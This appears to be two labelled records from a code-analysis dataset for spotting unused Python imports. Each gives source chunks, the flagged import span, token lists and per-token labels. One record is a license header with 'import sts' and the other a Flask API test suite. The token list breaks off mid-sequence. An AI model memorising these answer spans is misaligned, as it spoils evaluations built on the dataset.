[ { "content": "# Copyright 2011-2013 Colin Scott\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sts\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sts", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", "-", "2013", " ", "Col", "in", " ", "Scot", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sts_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1 ]
Unused import
miguelgrinberg/api-pycon2014/tests/test_api.py
[ { "content": "import unittest\nfrom werkzeug.exceptions import BadRequest\nfrom .test_client import TestClient\nfrom api.app import create_app\nfrom api.models import db, User\nfrom api.errors import ValidationError\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestAPI(unittest.TestCase):\n default_username = 'dave'\n default_password = 'cat'\n\n\n\n\n\n\n\n \n\n\n", "metadata": "root.TestAPI", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def setUp(self):\n self.app = create_app('test_config')\n self.ctx = self.app.app_context()\n self.ctx.push()\n db.drop_all()\n db.create_all()\n u = User(username=self.default_username,\n password=self.default_password)\n db.session.add(u)\n db.session.commit()\n self.client = TestClient(self.app, u.generate_auth_token(), '')", "metadata": "root.TestAPI.setUp", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 12 }, { "content": " def tearDown(self):\n db.session.remove()\n db.drop_all()\n self.ctx.pop()", "metadata": "root.TestAPI.tearDown", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 24 }, { "content": " def test_password_auth(self):\n self.app.config['USE_TOKEN_AUTH'] = False\n good_client = TestClient(self.app, self.default_username,\n self.default_password)\n rv, json = good_client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 200)\n\n self.app.config['USE_TOKEN_AUTH'] = True\n u = User.query.get(1)\n good_client = TestClient(self.app, u.generate_auth_token(), '')\n rv, json = good_client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 200)", "metadata": "root.TestAPI.test_password_auth", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_bad_auth(self):\n bad_client = TestClient(self.app, 'abc', 'def')\n rv, json = bad_client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 401)\n\n self.app.config['USE_TOKEN_AUTH'] = True\n bad_client = TestClient(self.app, 'bad_token', '')\n rv, json = bad_client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 401)", "metadata": "root.TestAPI.test_bad_auth", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 42 }, { "content": " def test_students(self):\n # get collection\n rv, json = self.client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['urls'] == [])\n\n # create new\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'susan'})\n self.assertTrue(rv.status_code == 201)\n susan_url = rv.headers['Location']\n\n # get\n rv, json = self.client.get(susan_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['name'] == 'susan')\n self.assertTrue(json['url'] == susan_url)\n\n # create new\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'david'})\n self.assertTrue(rv.status_code == 201)\n david_url = rv.headers['Location']\n\n # get\n rv, json = self.client.get(david_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['name'] == 'david')\n self.assertTrue(json['url'] == david_url)\n\n # create bad request\n rv,json = self.client.post('/api/v1.0/students/', data={})\n self.assertTrue(rv.status_code == 400)\n\n self.assertRaises(ValidationError, lambda:\n self.client.post('/api/v1.0/students/',\n data={'not-name': 'david'}))\n\n # modify\n rv, json = self.client.put(david_url, data={'name': 'david2'})\n self.assertTrue(rv.status_code == 200)\n\n # get\n rv, json = self.client.get(david_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['name'] == 'david2')\n\n # get collection\n rv, json = self.client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(susan_url in json['urls'])\n self.assertTrue(david_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n\n # delete\n rv, json = self.client.delete(susan_url)\n self.assertTrue(rv.status_code == 200)\n\n # get collection\n rv, json = self.client.get('/api/v1.0/students/')\n self.assertTrue(rv.status_code == 200)\n self.assertFalse(susan_url in json['urls'])\n self.assertTrue(david_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)", "metadata": "root.TestAPI.test_students", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def test_classes(self):\n # get collection\n rv, json = self.client.get('/api/v1.0/classes/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['urls'] == [])\n\n # create new\n rv, json = self.client.post('/api/v1.0/classes/',\n data={'name': 'algebra'})\n self.assertTrue(rv.status_code == 201)\n algebra_url = rv.headers['Location']\n\n # get\n rv, json = self.client.get(algebra_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['name'] == 'algebra')\n self.assertTrue(json['url'] == algebra_url)\n\n # create new\n rv, json = self.client.post('/api/v1.0/classes/',\n data={'name': 'lit'})\n self.assertTrue(rv.status_code == 201)\n lit_url = rv.headers['Location']\n\n # get\n rv, json = self.client.get(lit_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['name'] == 'lit')\n self.assertTrue(json['url'] == lit_url)\n\n # create bad\n rv,json = self.client.post('/api/v1.0/classes/', data={})\n self.assertTrue(rv.status_code == 400)\n\n self.assertRaises(ValidationError, lambda:\n self.client.post('/api/v1.0/classes/', data={'not-name': 'lit'}))\n\n # modify\n rv, json = self.client.put(lit_url, data={'name': 'lit2'})\n self.assertTrue(rv.status_code == 200)\n\n # get\n rv, json = self.client.get(lit_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['name'] == 'lit2')\n\n # get collection\n rv, json = self.client.get('/api/v1.0/classes/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(algebra_url in json['urls'])\n self.assertTrue(lit_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n\n # delete\n rv, json = self.client.delete(lit_url)\n self.assertTrue(rv.status_code == 200)\n\n # get collection\n rv, json = self.client.get('/api/v1.0/classes/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(algebra_url in json['urls'])\n self.assertFalse(lit_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)", "metadata": "root.TestAPI.test_classes", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 117 }, { "content": " def test_registrations(self):\n # create new students\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'susan'})\n self.assertTrue(rv.status_code == 201)\n susan_url = rv.headers['Location']\n\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'david'})\n self.assertTrue(rv.status_code == 201)\n david_url = rv.headers['Location']\n\n # create new classes\n rv, json = self.client.post('/api/v1.0/classes/',\n data={'name': 'algebra'})\n self.assertTrue(rv.status_code == 201)\n algebra_url = rv.headers['Location']\n\n rv, json = self.client.post('/api/v1.0/classes/',\n data={'name': 'lit'})\n self.assertTrue(rv.status_code == 201)\n lit_url = rv.headers['Location']\n\n # register students to classes\n rv, json = self.client.post('/api/v1.0/registrations/',\n data={'student': susan_url,\n 'class': algebra_url})\n self.assertTrue(rv.status_code == 201)\n susan_in_algebra_url = rv.headers['Location']\n\n rv, json = self.client.post('/api/v1.0/registrations/',\n data={'student': susan_url,\n 'class': lit_url})\n self.assertTrue(rv.status_code == 201)\n susan_in_lit_url = rv.headers['Location']\n\n rv, json = self.client.post('/api/v1.0/registrations/',\n data={'student': david_url,\n 'class': algebra_url})\n self.assertTrue(rv.status_code == 201)\n david_in_algebra_url = rv.headers['Location']\n\n # get registration\n rv, json = self.client.get(susan_in_lit_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(json['student'] == susan_url)\n self.assertTrue(json['class'] == lit_url)\n\n # get collection\n rv, json = self.client.get('/api/v1.0/registrations/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(susan_in_algebra_url in json['urls'])\n self.assertTrue(susan_in_lit_url in json['urls'])\n self.assertTrue(david_in_algebra_url in json['urls'])\n self.assertTrue(len(json['urls']) == 3)\n\n # bad registrations\n rv,json = self.client.post('/api/v1.0/registrations/', data={})\n self.assertTrue(rv.status_code == 400)\n\n self.assertRaises(ValidationError, lambda:\n self.client.post('/api/v1.0/registrations/',\n data={'student': david_url}))\n\n self.assertRaises(ValidationError, lambda:\n self.client.post('/api/v1.0/registrations/',\n data={'class': algebra_url}))\n\n self.assertRaises(ValidationError, lambda:\n self.client.post('/api/v1.0/registrations/',\n data={'student': david_url, 'class': 'bad-url'}))\n\n self.assertRaises(ValidationError, lambda:\n self.client.post('/api/v1.0/registrations/',\n data={'student': david_url,\n 'class': algebra_url + '1'}))\n db.session.remove()\n\n # get classes from each student\n rv, json = self.client.get(susan_url)\n self.assertTrue(rv.status_code == 200)\n susans_reg_url = json['registrations']\n rv, json = self.client.get(susans_reg_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(susan_in_algebra_url in json['urls'])\n self.assertTrue(susan_in_lit_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n\n rv, json = self.client.get(david_url)\n self.assertTrue(rv.status_code == 200)\n davids_reg_url = json['registrations']\n rv, json = self.client.get(davids_reg_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(david_in_algebra_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)\n\n # get students for each class\n rv, json = self.client.get(algebra_url)\n self.assertTrue(rv.status_code == 200)\n algebras_reg_url = json['registrations']\n rv, json = self.client.get(algebras_reg_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(susan_in_algebra_url in json['urls'])\n self.assertTrue(david_in_algebra_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n\n rv, json = self.client.get(lit_url)\n self.assertTrue(rv.status_code == 200)\n lits_reg_url = json['registrations']\n rv, json = self.client.get(lits_reg_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(susan_in_lit_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)\n\n # unregister students\n rv, json = self.client.delete(susan_in_algebra_url)\n self.assertTrue(rv.status_code == 200)\n\n rv, json = self.client.delete(david_in_algebra_url)\n self.assertTrue(rv.status_code == 200)\n\n # get collection\n rv, json = self.client.get('/api/v1.0/registrations/')\n self.assertTrue(rv.status_code == 200)\n self.assertFalse(susan_in_algebra_url in json['urls'])\n self.assertTrue(susan_in_lit_url in json['urls'])\n self.assertFalse(david_in_algebra_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)\n\n # delete student\n rv, json = self.client.delete(susan_url)\n self.assertTrue(rv.status_code == 200)\n\n # get collection\n rv, json = self.client.get('/api/v1.0/registrations/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(len(json['urls']) == 0)", "metadata": "root.TestAPI.test_registrations", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 181 }, { "content": " def test_rate_limits(self):\n self.app.config['USE_RATE_LIMITS'] = True\n\n rv, json = self.client.get('/api/v1.0/registrations/')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue('X-RateLimit-Remaining' in rv.headers)\n self.assertTrue('X-RateLimit-Limit' in rv.headers)\n self.assertTrue('X-RateLimit-Reset' in rv.headers)\n self.assertTrue(int(rv.headers['X-RateLimit-Limit']) == int(rv.headers['X-RateLimit-Remaining']) + 1)\n while int(rv.headers['X-RateLimit-Remaining']) > 0:\n rv, json = self.client.get('/api/v1.0/registrations/')\n self.assertTrue(rv.status_code == 429)", "metadata": "root.TestAPI.test_rate_limits", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 319 }, { "content": " def test_pagination(self):\n # create several students\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'one'})\n self.assertTrue(rv.status_code == 201)\n one_url = rv.headers['Location']\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'two'})\n self.assertTrue(rv.status_code == 201)\n two_url = rv.headers['Location']\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'three'})\n self.assertTrue(rv.status_code == 201)\n three_url = rv.headers['Location']\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'four'})\n self.assertTrue(rv.status_code == 201)\n four_url = rv.headers['Location']\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'five'})\n self.assertTrue(rv.status_code == 201)\n five_url = rv.headers['Location']\n\n # get collection in pages\n rv, json = self.client.get('/api/v1.0/students/?page=1&per_page=2')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(one_url in json['urls'])\n self.assertTrue(two_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n self.assertTrue('total' in json['meta'])\n self.assertTrue(json['meta']['total'] == 5)\n self.assertTrue('prev' in json['meta'])\n self.assertTrue(json['meta']['prev'] is None)\n first_url = json['meta']['first'].replace('http://localhost', '')\n last_url = json['meta']['last'].replace('http://localhost', '')\n next_url = json['meta']['next'].replace('http://localhost', '')\n\n rv, json = self.client.get(first_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(one_url in json['urls'])\n self.assertTrue(two_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n\n rv, json = self.client.get(next_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(three_url in json['urls'])\n self.assertTrue(four_url in json['urls'])\n self.assertTrue(len(json['urls']) == 2)\n next_url = json['meta']['next'].replace('http://localhost', '')\n\n rv, json = self.client.get(next_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(five_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)\n\n rv, json = self.client.get(last_url)\n self.assertTrue(rv.status_code == 200)\n self.assertTrue(five_url in json['urls'])\n self.assertTrue(len(json['urls']) == 1)", "metadata": "root.TestAPI.test_pagination", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 332 }, { "content": " def test_cache_control(self):\n client = TestClient(self.app, self.default_username,\n self.default_password)\n rv, json = client.get('/auth/request-token')\n self.assertTrue(rv.status_code == 200)\n self.assertTrue('Cache-Control' in rv.headers)\n cache = [c.strip() for c in rv.headers['Cache-Control'].split(',')]\n self.assertTrue('no-cache' in cache)\n self.assertTrue('no-store' in cache)\n self.assertTrue('max-age=0' in cache)\n self.assertTrue(len(cache) == 3)", "metadata": "root.TestAPI.test_cache_control", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 392 }, { "content": " def test_etag(self):\n # create two students\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'one'})\n self.assertTrue(rv.status_code == 201)\n one_url = rv.headers['Location']\n rv, json = self.client.post('/api/v1.0/students/',\n data={'name': 'two'})\n self.assertTrue(rv.status_code == 201)\n two_url = rv.headers['Location']\n\n # get their etags\n rv, json = self.client.get(one_url)\n self.assertTrue(rv.status_code == 200)\n one_etag = rv.headers['ETag']\n rv, json = self.client.get(two_url)\n self.assertTrue(rv.status_code == 200)\n two_etag = rv.headers['ETag']\n\n # send If-None-Match header\n rv, json = self.client.get(one_url, headers={\n 'If-None-Match': one_etag})\n self.assertTrue(rv.status_code == 304)\n rv, json = self.client.get(one_url, headers={\n 'If-None-Match': one_etag + ', ' + two_etag})\n self.assertTrue(rv.status_code == 304)\n rv, json = self.client.get(one_url, headers={\n 'If-None-Match': two_etag})\n self.assertTrue(rv.status_code == 200)\n rv, json = self.client.get(one_url, headers={\n 'If-None-Match': two_etag + ', *'})\n self.assertTrue(rv.status_code == 304)\n\n # send If-Match header\n rv, json = self.client.get(one_url, headers={\n 'If-Match': one_etag})\n self.assertTrue(rv.status_code == 200)\n rv, json = self.client.get(one_url, headers={\n 'If-Match': one_etag + ', ' + two_etag})\n self.assertTrue(rv.status_code == 200)\n rv, json = self.client.get(one_url, headers={\n 'If-Match': two_etag})\n self.assertTrue(rv.status_code == 412)\n rv, json = self.client.get(one_url, headers={\n 'If-Match': '*'})\n self.assertTrue(rv.status_code == 200)\n\n # change a resource\n rv, json = self.client.put(one_url, data={'name': 'not-one'})\n self.assertTrue(rv.status_code == 200)\n\n # use stale etag\n rv, json = self.client.get(one_url, headers={\n 'If-None-Match': one_etag})\n self.assertTrue(rv.status_code == 200)", "metadata": "root.TestAPI.test_etag", "header": "['class', 'TestAPI', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 404 } ]
[ { "span": "from werkzeug.exceptions import BadRequest", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 42 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "werkzeug_", "._", "exceptions_", "import_", "Ba", "d", "Request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "test\\u", "client_", "import_", "Test", "Client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "api_", "._", "app_", "import_", "create", "\\u", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "api_", "._", "models_", "import_", "db_", ",_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "api_", "._", "errors_", "import_", "Validat", "ion", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "default", "\\u", "username_", "=_", "'", "dav", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "default", "\\u", "password_", "=_", "'", "cat", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "=_", "create", "\\u", "app_", "(_", "'", "test\\u", "config", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ctx_", "=_", "self_", "._", "app_", "._", "app", "\\u", "context_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ctx_", "._", "push_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "drop", "\\u", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "create", "\\u", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "User_", "(_", "username_", "=_", "self_", "._", "default", "\\u", "username_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "password_", "=_", "self_", "._", "default", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "session_", "._", "add_", "(_", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "session_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "=_", "Test", "Client_", "(_", "self_", "._", "app_", ",_", "u_", "._", "generat", "e\\u", "auth", "\\u", "token_", "(_", ")_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "session_", "._", "remove_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "drop", "\\u", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ctx_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "password", "\\u", "auth_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "._", "config_", "[_", "'", "USE", "\\u", "TOKEN", "\\u", "AUTH", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "good", "\\u", "client_", "=_", "Test", "Client_", "(_", "self_", "._", "app_", ",_", "self_", "._", "default", "\\u", "username_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "default", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "good", "\\u", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "app_", "._", "config_", "[_", "'", "USE", "\\u", "TOKEN", "\\u", "AUTH", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "=_", "User_", "._", "query_", "._", "get_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "good", "\\u", "client_", "=_", "Test", "Client_", "(_", "self_", "._", "app_", ",_", "u_", "._", "generat", "e\\u", "auth", "\\u", "token_", "(_", ")_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "good", "\\u", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "auth_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bad", "\\u", "client_", "=_", "Test", "Client_", "(_", "self_", "._", "app_", ",_", "'", "abc", "'_", ",_", "'", "def", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "bad", "\\u", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "app_", "._", "config_", "[_", "'", "USE", "\\u", "TOKEN", "\\u", "AUTH", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "\\u", "client_", "=_", "Test", "Client_", "(_", "self_", "._", "app_", ",_", "'", "bad", "\\u", "token", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "bad", "\\u", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", 